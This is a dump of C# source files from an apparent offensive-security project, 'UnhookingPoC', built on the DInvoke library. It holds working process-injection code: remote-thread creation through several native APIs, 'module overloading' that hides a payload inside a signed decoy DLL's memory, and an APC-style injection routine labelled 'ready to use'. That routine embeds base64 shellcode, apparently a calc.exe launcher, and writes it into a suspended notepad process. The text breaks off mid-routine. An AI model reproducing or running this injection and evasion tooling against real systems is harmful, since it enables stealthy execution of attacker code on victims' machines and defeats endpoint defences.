240 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData)
241 | {
242 | // Copied so that they may be passed by reference but the original value preserved
243 | IntPtr baseAddr = addr;
244 | ulong size = sizeData;
245 |
246 | uint disp = 2;
247 | uint alloc = 0;
248 |
249 | // Returns an NTSTATUS value
250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection(
251 | sectionHandle, procHandle,
252 | ref baseAddr,
253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
254 | ref size, disp, alloc,
255 | protection
256 | );
257 |
258 | // Create a struct to hold the results.
259 | SectionDetails details = new SectionDetails(baseAddr, sizeData);
260 |
261 | return details;
262 | }
263 |
264 |
265 | ///
266 | /// Holds the data returned from NtMapViewOfSection.
267 | ///
268 | public struct SectionDetails
269 | {
270 | public IntPtr baseAddr;
271 | public ulong size;
272 |
273 | public SectionDetails(IntPtr addr, ulong sizeData)
274 | {
275 | baseAddr = addr;
276 | size = sizeData;
277 | }
278 | }
279 |
280 | ///
281 | /// Unmaps a view of a section from a process.
282 | ///
283 | /// The Wover (@TheRealWover)
284 | /// Process to which the view has been mapped.
285 | /// Address of the view (relative to the target process)
286 | ///
287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr)
288 | {
289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr);
290 | }
291 | }
292 | }
293 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Injection/Execution.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for Injection strategies.
12 | ///
13 | public abstract class ExecutionTechnique
14 | {
15 |
16 | //An array containing a set of PayloadType objects that are supported.
17 | protected Type[] supportedPayloads;
18 |
19 | ///
20 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
21 | ///
22 | /// The Wover (@TheRealWover)
23 | /// A payload.
24 | /// Whether or not the payload is of a supported type for this strategy.
25 | public abstract bool IsSupportedPayloadType(PayloadType payload);
26 |
27 | ///
28 | /// Internal method for setting the supported payload types. Used in constructors.
29 | ///
30 | /// The Wover (@TheRealWover)
31 | abstract internal void DefineSupportedPayloadTypes();
32 |
33 | ///
34 | /// Inject and execute a payload in the target process using a specific allocation technique.
35 | ///
36 | /// The Wover (@TheRealWover)
37 | /// The type of payload to execute.
38 | /// The allocation technique to use.
39 | /// The target process.
40 | /// bool
41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process)
42 | {
43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()};
44 |
45 | try
46 | {
47 | // Get delegate to the overload of Inject that supports the type of payload passed in
48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
49 |
50 | // Dynamically invoke the appropriate Allocate overload
51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process });
52 | }
53 | // If there is no such method
54 | catch (ArgumentNullException)
55 | {
56 | throw new PayloadTypeNotSupported(Payload.GetType());
57 | }
58 | }
59 |
60 | ///
61 | /// Execute a payload in the target process at a specified address.
62 | ///
63 | /// The Wover (@TheRealWover)
64 | /// The type of payload to execute.
65 | /// The base address of the payload.
66 | /// The target process.
67 | /// bool
68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process)
69 | {
70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() };
71 |
72 | try
73 | {
74 | // Get delegate to the overload of Inject that supports the type of payload passed in
75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
76 |
77 | // Dynamically invoke the appropriate Allocate overload
78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process });
79 | }
80 | // If there is no such method
81 | catch (ArgumentNullException)
82 | {
83 | throw new PayloadTypeNotSupported(Payload.GetType());
84 | }
85 | }
86 |
87 | ///
88 | /// Execute a payload in the current process using a specific allocation technique.
89 | ///
90 | /// The Wover (@TheRealWover)
91 | /// The type of payload to execute.
92 | /// The allocation technique to use.
93 | ///
94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique)
95 | {
96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()};
97 |
98 | try
99 | {
100 | // Get delegate to the overload of Inject that supports the type of payload passed in
101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
102 |
103 | // Dynamically invoke the appropriate Allocate overload
104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique });
105 | }
106 | // If there is no such method
107 | catch (ArgumentNullException)
108 | {
109 | throw new PayloadTypeNotSupported(Payload.GetType());
110 | }
111 | }
112 | }
113 |
114 |
115 | ///
116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation.
117 | ///
118 | public class RemoteThreadCreate : ExecutionTechnique
119 | {
120 | // Publically accessible options
121 | public bool suspended = false;
122 | public APIS api = APIS.NtCreateThreadEx;
123 |
124 | public enum APIS : int
125 | {
126 | NtCreateThreadEx = 0,
127 | // NtCreateThread = 1, // Not implemented
128 | RtlCreateUserThread = 2,
129 | CreateRemoteThread = 3
130 | };
131 |
132 | // Handle of the new thread. Only valid after the thread has been created.
133 | public IntPtr handle = IntPtr.Zero;
134 |
135 | ///
136 | /// Default constructor.
137 | ///
138 | public RemoteThreadCreate()
139 | {
140 | DefineSupportedPayloadTypes();
141 | }
142 |
143 | ///
144 | /// Constructor allowing options as arguments.
145 | ///
146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx)
147 | {
148 | DefineSupportedPayloadTypes();
149 | suspended = susp;
150 | api = varAPI;
151 | }
152 |
153 | ///
154 | /// States whether the payload is supported.
155 | ///
156 | /// The Wover (@TheRealWover)
157 | /// Payload that will be allocated.
158 | ///
159 | public override bool IsSupportedPayloadType(PayloadType Payload)
160 | {
161 | return supportedPayloads.Contains(Payload.GetType());
162 | }
163 |
164 | ///
165 | /// Internal method for setting the supported payload types. Used in constructors.
166 | /// Update when new types of payloads are added.
167 | ///
168 | /// The Wover (@TheRealWover)
169 | internal override void DefineSupportedPayloadTypes()
170 | {
171 | // Defines the set of supported payload types.
172 | supportedPayloads = new Type[] {
173 | typeof(PICPayload)
174 | };
175 | }
176 |
177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process)
178 | {
179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process);
180 | return Inject(Payload, baseAddr, Process);
181 | }
182 |
183 | ///
184 | /// Create a thread in the remote process.
185 | ///
186 | /// The Wover (@TheRealWover)
187 | /// The shellcode payload to execute in the target process.
188 | /// The address of the shellcode in the target process.
189 | /// The target process to inject into.
190 | ///
191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process)
192 | {
193 | IntPtr threadHandle = new IntPtr();
194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful;
195 |
196 | if (api == APIS.NtCreateThreadEx)
197 | {
198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
199 | result = DynamicInvoke.Native.NtCreateThreadEx(
200 | ref threadHandle,
201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
202 | IntPtr.Zero,
203 | Process.Handle, BaseAddress, IntPtr.Zero,
204 | suspended, 0, 0, 0, IntPtr.Zero
205 | );
206 | }
207 | else if (api == APIS.RtlCreateUserThread)
208 | {
209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
210 | result = DynamicInvoke.Native.RtlCreateUserThread(
211 | Process.Handle,
212 | IntPtr.Zero,
213 | suspended,
214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
215 | BaseAddress,
216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero
217 | );
218 | }
219 | else if (api == APIS.CreateRemoteThread)
220 | {
221 | uint flags = suspended ? (uint)0x00000004 : 0;
222 | IntPtr threadid = new IntPtr();
223 |
224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread(
226 | Process.Handle,
227 | IntPtr.Zero,
228 | 0,
229 | BaseAddress,
230 | IntPtr.Zero,
231 | flags,
232 | ref threadid
233 | );
234 |
235 | if (threadHandle == IntPtr.Zero)
236 | {
237 | return false;
238 | }
239 | handle = threadHandle;
240 | return true;
241 | }
242 |
243 | // If successful, return the handle to the new thread. Otherwise return NULL
244 | if (result != Data.Native.NTSTATUS.Success)
245 | {
246 | return false;
247 | }
248 | handle = threadHandle;
249 | return true;
250 | }
251 | }
252 | }
253 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Injection/Execution.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for Injection strategies.
12 | ///
13 | public abstract class ExecutionTechnique
14 | {
15 |
16 | //An array containing a set of PayloadType objects that are supported.
17 | protected Type[] supportedPayloads;
18 |
19 | ///
20 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
21 | ///
22 | /// The Wover (@TheRealWover)
23 | /// A payload.
24 | /// Whether or not the payload is of a supported type for this strategy.
25 | public abstract bool IsSupportedPayloadType(PayloadType payload);
26 |
27 | ///
28 | /// Internal method for setting the supported payload types. Used in constructors.
29 | ///
30 | /// The Wover (@TheRealWover)
31 | abstract internal void DefineSupportedPayloadTypes();
32 |
33 | ///
34 | /// Inject and execute a payload in the target process using a specific allocation technique.
35 | ///
36 | /// The Wover (@TheRealWover)
37 | /// The type of payload to execute.
38 | /// The allocation technique to use.
39 | /// The target process.
40 | /// bool
41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process)
42 | {
43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()};
44 |
45 | try
46 | {
47 | // Get delegate to the overload of Inject that supports the type of payload passed in
48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
49 |
50 | // Dynamically invoke the appropriate Allocate overload
51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process });
52 | }
53 | // If there is no such method
54 | catch (ArgumentNullException)
55 | {
56 | throw new PayloadTypeNotSupported(Payload.GetType());
57 | }
58 | }
59 |
60 | ///
61 | /// Execute a payload in the target process at a specified address.
62 | ///
63 | /// The Wover (@TheRealWover)
64 | /// The type of payload to execute.
65 | /// The base address of the payload.
66 | /// The target process.
67 | /// bool
68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process)
69 | {
70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() };
71 |
72 | try
73 | {
74 | // Get delegate to the overload of Inject that supports the type of payload passed in
75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
76 |
77 | // Dynamically invoke the appropriate Allocate overload
78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process });
79 | }
80 | // If there is no such method
81 | catch (ArgumentNullException)
82 | {
83 | throw new PayloadTypeNotSupported(Payload.GetType());
84 | }
85 | }
86 |
87 | ///
88 | /// Execute a payload in the current process using a specific allocation technique.
89 | ///
90 | /// The Wover (@TheRealWover)
91 | /// The type of payload to execute.
92 | /// The allocation technique to use.
93 | ///
94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique)
95 | {
96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()};
97 |
98 | try
99 | {
100 | // Get delegate to the overload of Inject that supports the type of payload passed in
101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
102 |
103 | // Dynamically invoke the appropriate Allocate overload
104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique });
105 | }
106 | // If there is no such method
107 | catch (ArgumentNullException)
108 | {
109 | throw new PayloadTypeNotSupported(Payload.GetType());
110 | }
111 | }
112 | }
113 |
114 |
115 | ///
116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation.
117 | ///
118 | public class RemoteThreadCreate : ExecutionTechnique
119 | {
120 | // Publically accessible options
121 | public bool suspended = false;
122 | public APIS api = APIS.NtCreateThreadEx;
123 |
124 | public enum APIS : int
125 | {
126 | NtCreateThreadEx = 0,
127 | // NtCreateThread = 1, // Not implemented
128 | RtlCreateUserThread = 2,
129 | CreateRemoteThread = 3
130 | };
131 |
132 | // Handle of the new thread. Only valid after the thread has been created.
133 | public IntPtr handle = IntPtr.Zero;
134 |
135 | ///
136 | /// Default constructor.
137 | ///
138 | public RemoteThreadCreate()
139 | {
140 | DefineSupportedPayloadTypes();
141 | }
142 |
143 | ///
144 | /// Constructor allowing options as arguments.
145 | ///
146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx)
147 | {
148 | DefineSupportedPayloadTypes();
149 | suspended = susp;
150 | api = varAPI;
151 | }
152 |
153 | ///
154 | /// States whether the payload is supported.
155 | ///
156 | /// The Wover (@TheRealWover)
157 | /// Payload that will be allocated.
158 | ///
159 | public override bool IsSupportedPayloadType(PayloadType Payload)
160 | {
161 | return supportedPayloads.Contains(Payload.GetType());
162 | }
163 |
164 | ///
165 | /// Internal method for setting the supported payload types. Used in constructors.
166 | /// Update when new types of payloads are added.
167 | ///
168 | /// The Wover (@TheRealWover)
169 | internal override void DefineSupportedPayloadTypes()
170 | {
171 | // Defines the set of supported payload types.
172 | supportedPayloads = new Type[] {
173 | typeof(PICPayload)
174 | };
175 | }
176 |
177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process)
178 | {
179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process);
180 | return Inject(Payload, baseAddr, Process);
181 | }
182 |
183 | ///
184 | /// Create a thread in the remote process.
185 | ///
186 | /// The Wover (@TheRealWover)
187 | /// The shellcode payload to execute in the target process.
188 | /// The address of the shellcode in the target process.
189 | /// The target process to inject into.
190 | ///
191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process)
192 | {
193 | IntPtr threadHandle = new IntPtr();
194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful;
195 |
196 | if (api == APIS.NtCreateThreadEx)
197 | {
198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
199 | result = DynamicInvoke.Native.NtCreateThreadEx(
200 | ref threadHandle,
201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
202 | IntPtr.Zero,
203 | Process.Handle, BaseAddress, IntPtr.Zero,
204 | suspended, 0, 0, 0, IntPtr.Zero
205 | );
206 | }
207 | else if (api == APIS.RtlCreateUserThread)
208 | {
209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
210 | result = DynamicInvoke.Native.RtlCreateUserThread(
211 | Process.Handle,
212 | IntPtr.Zero,
213 | suspended,
214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
215 | BaseAddress,
216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero
217 | );
218 | }
219 | else if (api == APIS.CreateRemoteThread)
220 | {
221 | uint flags = suspended ? (uint)0x00000004 : 0;
222 | IntPtr threadid = new IntPtr();
223 |
224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread(
226 | Process.Handle,
227 | IntPtr.Zero,
228 | 0,
229 | BaseAddress,
230 | IntPtr.Zero,
231 | flags,
232 | ref threadid
233 | );
234 |
235 | if (threadHandle == IntPtr.Zero)
236 | {
237 | return false;
238 | }
239 | handle = threadHandle;
240 | return true;
241 | }
242 |
243 | // If successful, return the handle to the new thread. Otherwise return NULL
244 | if (result != Data.Native.NTSTATUS.Success)
245 | {
246 | return false;
247 | }
248 | handle = threadHandle;
249 | return true;
250 | }
251 | }
252 | }
253 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Injection/Injector.cs:
--------------------------------------------------------------------------------
1 | using System.Diagnostics;
2 |
3 | using DynamicInvoke = DInvoke.DynamicInvoke;
4 |
5 | namespace DInvoke.Injection
6 | {
7 | ///
8 | /// Provides static functions for performing injection using a combination of Allocation and Execution components.
9 | ///
10 | /// The Wover (@TheRealWover)
11 | public static class Injector
12 | {
13 | ///
14 | /// Inject a payload into a target process using a specified allocation and execution technique.
15 | ///
16 | /// The Wover (@TheRealWover)
17 | ///
18 | ///
19 | ///
20 | ///
21 | ///
22 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process)
23 | {
24 | return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process);
25 | }
26 |
27 | ///
28 | /// Inject a payload into the current process using a specified allocation and execution technique.
29 | ///
30 | ///
31 | ///
32 | ///
33 | ///
34 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique)
35 | {
36 | return ExecutionTechnique.Inject(Payload, AllocationTechnique);
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Injection/Payload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | using DynamicInvoke = DInvoke.DynamicInvoke;
4 |
5 | namespace DInvoke.Injection
6 | {
7 | ///
8 | /// Base class for all types of payloads.
9 | /// Variants are responsible for specifying what types of payloads they support.
10 | ///
11 | /// The Wover (@TheRealWover)
12 | public abstract class PayloadType
13 | {
14 | public byte[] Payload { get; private set; }
15 |
16 | // Constructor that requires the user to pass in the payload as a byte array.
17 | protected PayloadType(byte[] data)
18 | {
19 | Payload = data;
20 | }
21 | }
22 |
23 | ///
24 | /// Represents payloads that are position-independent-code.
25 | ///
26 | /// The Wover (@TheRealWover)
27 | public class PICPayload : PayloadType
28 | {
29 | // Declares the constructor as equivalent to that of the base class.
30 | public PICPayload(byte[] data) : base(data) { }
31 | }
32 |
33 | ///
34 | /// Exception thrown when the type of a payload is not supported by a injection variant.
35 | ///
36 | /// The Wover (@TheRealWover)
37 | public class PayloadTypeNotSupported : Exception
38 | {
39 | public PayloadTypeNotSupported() { }
40 |
41 | public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { }
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/ManualMap/Overload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Linq;
6 |
7 | using Data = DInvoke.Data;
8 | using Utilities = DInvoke.Utilities;
9 | using DynamicInvoke = DInvoke.DynamicInvoke;
10 |
11 | namespace DInvoke.ManualMap
12 | {
13 | public class Overload
14 | {
15 | ///
16 | /// Locate a signed module with a minimum size which can be used for overloading.
17 | ///
18 | /// The Wover (@TheRealWover)
19 | /// Minimum module byte size.
20 | /// Whether to require that the module be legitimately signed.
21 | ///
22 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found.
23 | ///
24 | public static string FindDecoyModule(long MinSize, bool LegitSigned = true)
25 | {
26 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
27 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
28 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
29 | {
30 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
31 | {
32 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
33 | }
34 | }
35 |
36 | //Pick a random candidate that meets the requirements
37 |
38 | Random r = new Random();
39 | //List of candidates that have been considered and rejected
40 | List candidates = new List();
41 | while (candidates.Count != files.Count)
42 | {
43 | //Iterate through the list of files randomly
44 | int rInt = r.Next(0, files.Count);
45 | string currentCandidate = files[rInt];
46 |
47 | //Check that the size of the module meets requirements
48 | if (candidates.Contains(rInt) == false &&
49 | new FileInfo(currentCandidate).Length >= MinSize)
50 | {
51 | //Check that the module meets signing requirements
52 | if (LegitSigned == true)
53 | {
54 | if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true)
55 | return currentCandidate;
56 | else
57 | candidates.Add(rInt);
58 | }
59 | else
60 | return currentCandidate;
61 | }
62 | candidates.Add(rInt);
63 | }
64 | return string.Empty;
65 | }
66 |
67 | ///
68 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that
69 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
70 | ///
71 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
72 | /// Full path to the payload module on disk.
73 | /// Optional, full path the decoy module to overload in memory.
74 | /// PE.PE_MANUAL_MAP
75 | public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true)
76 | {
77 | // Get approximate size of Payload
78 | if (!File.Exists(PayloadPath))
79 | {
80 | throw new InvalidOperationException("Payload filepath not found.");
81 | }
82 | byte[] Payload = File.ReadAllBytes(PayloadPath);
83 |
84 | return OverloadModule(Payload, DecoyModulePath, LegitSigned);
85 | }
86 |
87 | ///
88 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that
89 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
90 | ///
91 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
92 | /// Full byte array for the payload module.
93 | /// Optional, full path the decoy module to overload in memory.
94 | /// PE.PE_MANUAL_MAP
95 | public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true)
96 | {
97 | // Did we get a DecoyModule?
98 | if (!string.IsNullOrEmpty(DecoyModulePath))
99 | {
100 | if (!File.Exists(DecoyModulePath))
101 | {
102 | throw new InvalidOperationException("Decoy filepath not found.");
103 | }
104 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);
105 | if (DecoyFileBytes.Length < Payload.Length)
106 | {
107 | throw new InvalidOperationException("Decoy module is too small to host the payload.");
108 | }
109 | }
110 | else
111 | {
112 | DecoyModulePath = FindDecoyModule(Payload.Length);
113 | if (string.IsNullOrEmpty(DecoyModulePath))
114 | {
115 | throw new InvalidOperationException("Failed to find suitable decoy module.");
116 | }
117 | }
118 |
119 | // Map decoy from disk
120 | Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDiskToSection(DecoyModulePath);
121 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;
122 |
123 | // Change permissions to RW
124 | DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE);
125 |
126 | // Zero out memory
127 | DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);
128 |
129 | // Overload module in memory
130 | Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);
131 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath;
132 |
133 | return OverloadedModuleMetaData;
134 | }
135 | }
136 | }
137 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/NoSpoofApproach.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Diagnostics;
4 | using System.Net.Configuration;
5 | using System.Reflection;
6 | using System.Runtime.InteropServices;
7 | using System.Threading;
8 | using DInvoke.Data;
9 | using DInvoke.DynamicInvoke;
10 | using Native = DInvoke.Data.Native;
11 | using Win32 = DInvoke.Data.Win32;
12 |
13 | namespace Dinvoke
14 | {
15 |
16 | public class TestQueueUserAPC
17 | {
18 | [DllImport("kernel32.dll")]
19 | public static extern bool CreateProcess(
20 | string lpApplicationName,
21 | string lpCommandLine,
22 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpProcessAttributes,
23 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpThreadAttributes,
24 | bool bInheritHandles,
25 | DInvoke.Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags,
26 | IntPtr lpEnvironment,
27 | string lpCurrentDirectory,
28 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFO lpStartupInfo,
29 | out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation);
30 | static void BackupMain(string[] args)
31 | {
32 | /// This code is ready to use; make sure you change the pid to that of a running process (notepad.exe, explorer.exe, cmd.exe etc)
33 |
34 | //create process
35 | //allocate
36 | //write
37 | //protect
38 | //open thread
39 | //queue
40 | //resume
41 |
42 | var pa = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES();
43 | pa.nLength = (uint)Marshal.SizeOf(pa);
44 |
45 | var ta = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES();
46 | ta.nLength = (uint)Marshal.SizeOf(ta);
47 |
48 | var si = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFO();
49 |
50 | // [+] CreateProcess(processImage,Arguments,processAttributes,ThreadAttributes,
51 |
52 | var createResult = (CreateProcess(null,
53 | @"C:\Windows\System32\notepad.exe",
54 | ref pa, ref ta,
55 | false, DInvoke.Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED,
56 | IntPtr.Zero, null, ref si, out var pi));
57 |
58 | Console.WriteLine("NtAllocateVirtualMemory");
59 | Console.WriteLine(" | -> NTSTATUS: {0}", createResult);
60 | Console.WriteLine(" | -> pi: {0}", pi);
61 |
62 | // ALLOCATE MEMORY
63 | var shellcodeRaw =
64 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
65 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw);
66 |
67 | var hProcess = pi.hProcess;
68 | var baseAddress = IntPtr.Zero;
69 | var regionSize = new IntPtr(shellcodeBytes.Length);
70 |
71 | const Win32.WinNT.MEMORY_ALLOCATION allocation = Win32.WinNT.MEMORY_ALLOCATION.MEM_COMMIT
72 | | Win32.WinNT.MEMORY_ALLOCATION.MEM_RESERVE;
73 |
74 | var allocParameters = new object[]
75 | {
76 | hProcess, baseAddress, IntPtr.Zero, regionSize,
77 | (uint) allocation, Win32.WinNT.PAGE_EXECUTE_READWRITE
78 | };
79 |
80 | var allocStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtAllocateVirtualMemory",
81 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory), ref allocParameters);
82 |
83 | if (allocStatus == Native.NTSTATUS.Success)
84 | baseAddress = (IntPtr)allocParameters[1];
85 |
86 | Console.WriteLine("NtAllocateVirtualMemory");
87 | Console.WriteLine(" | -> NTSTATUS: {0}", allocStatus);
88 | Console.WriteLine(" | -> basedAddress: 0x{0:X}", baseAddress.ToInt64());
89 |
90 |
91 |
92 | // WRITE MEMORY
93 | var buf = Marshal.AllocHGlobal(shellcodeBytes.Length);
94 | Marshal.Copy(shellcodeBytes, 0, buf, shellcodeBytes.Length);
95 | uint bytesWritten = 0;
96 | var writeParameters = new object[]
97 | {
98 | hProcess, baseAddress, buf, (UInt32) shellcodeBytes.Length, bytesWritten
99 | };
100 | var writeStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtWriteVirtualMemory",
101 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory), ref writeParameters);
102 |
103 | if (writeStatus == Native.NTSTATUS.Success)
104 | bytesWritten = (uint)writeParameters[4];
105 |
106 | Console.WriteLine("NtWriteVirtualMemory");
107 | Console.WriteLine(" | -> Data Length: {0}", shellcodeBytes.Length);
108 | Console.WriteLine(" | -> NTSTATUS: {0}", writeStatus);
109 | Console.WriteLine(" | -> Bytes Written: {0}", bytesWritten);
110 |
111 | // READ/EXECUTE
112 | var newProtect = Win32.WinNT.MEMORY_PROTECTION.PAGE_EXECUTE_READ;
113 | var oldProtect = (Win32.WinNT.MEMORY_PROTECTION)0;
114 |
115 | var protectParameters = new object[]
116 | {
117 | hProcess, baseAddress, regionSize,
118 | (uint) newProtect, (uint) oldProtect
119 | };
